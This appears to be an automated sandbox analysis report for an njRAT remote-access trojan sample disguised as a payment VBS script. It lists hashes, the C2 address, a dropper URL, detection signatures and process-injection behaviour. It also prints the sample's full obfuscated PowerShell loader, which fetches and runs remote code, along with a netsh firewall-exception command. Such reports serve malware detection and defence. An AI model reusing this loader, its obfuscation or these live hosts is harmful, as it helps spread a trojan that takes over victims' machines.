njrat | 34f778359bb71ac8bcf04edb0d48e9f4209fea9fa79c273fc3669c5e94042a5b

General

Target

Payment On Account.vbs
Size

3KB
MD5

7ad432e7164dcff056883fe786d9fb7b
SHA1

0985f8d96a8e972ad6a8fef0f8ca6774f13c1373
SHA256

34f778359bb71ac8bcf04edb0d48e9f4209fea9fa79c273fc3669c5e94042a5b
SHA512

7b7a977cd1bdfd9e302ea0989e53bc1de1efe267693d850193617a4744e0049d73ec0aaca7897465fb5e00d1f74588929fcb259adc3ac6f7edb330637f0b742c

Score

10^/10

njrat hacked evasion suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.184.87.30/jbypass.txt

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

103.147.184.73:8319

Mutex

98d5ec0a408febb60524eab801ba601c

Attributes

reg_key
98d5ec0a408febb60524eab801ba601c
splitter
|'|'|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 4700 powershell.exe
8 4700 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4700 set thread context of 5008 4700 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

4700 powershell.exe
4700 powershell.exe
4700 powershell.exe

flow	pid	process
2	4700	powershell.exe
8	4700	powershell.exe

description	pid	process	target process
PID 4700 set thread context of 5008	4700	powershell.exe	aspnet_compiler.exe

pid	process
4700	powershell.exe
4700	powershell.exe
4700	powershell.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe
Token: 33	5008	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	5008	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exepowershell.exeaspnet_compiler.exe

description	pid	process	target process
PID 4652 wrote to memory of 4700	4652	WScript.exe	powershell.exe
PID 4652 wrote to memory of 4700	4652	WScript.exe	powershell.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 4700 wrote to memory of 5008	4700	powershell.exe	aspnet_compiler.exe
PID 5008 wrote to memory of 5064	5008	aspnet_compiler.exe	netsh.exe
PID 5008 wrote to memory of 5064	5008	aspnet_compiler.exe	netsh.exe
PID 5008 wrote to memory of 5064	5008	aspnet_compiler.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment On Account.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/jbypassH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5008

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
4⤵
PID:5064

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4700-115-0x0000000000000000-mapping.dmp

Download
memory/4700-120-0x000001F7A1040000-0x000001F7A1041000-memory.dmp

Filesize
4KB

Download
memory/4700-124-0x000001F7A1B90000-0x000001F7A1B91000-memory.dmp

Filesize
4KB

Download
memory/4700-125-0x000001F7A1030000-0x000001F7A1032000-memory.dmp

Filesize
8KB

Download
memory/4700-126-0x000001F7A1033000-0x000001F7A1035000-memory.dmp

Filesize
8KB

Download
memory/4700-128-0x000001F7A1036000-0x000001F7A1038000-memory.dmp

Filesize
8KB

Download
memory/4700-142-0x000001F7A1038000-0x000001F7A1039000-memory.dmp

Filesize
4KB

Download
memory/4700-153-0x000001F7A10A0000-0x000001F7A10A4000-memory.dmp

Filesize
16KB

Download
memory/5008-154-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/5008-155-0x000000000040746E-mapping.dmp

Download
memory/5008-159-0x0000000004D20000-0x0000000004D21000-memory.dmp

Filesize
4KB

Download
memory/5008-160-0x0000000005300000-0x0000000005301000-memory.dmp

Filesize
4KB

Download
memory/5008-162-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

Filesize
4KB

Download
memory/5008-163-0x0000000004E00000-0x00000000052FE000-memory.dmp

Filesize
5.0MB

Download
memory/5008-164-0x0000000005050000-0x0000000005051000-memory.dmp

Filesize
4KB

Download
memory/5008-165-0x0000000005120000-0x0000000005121000-memory.dmp

Filesize
4KB

Download
memory/5064-161-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads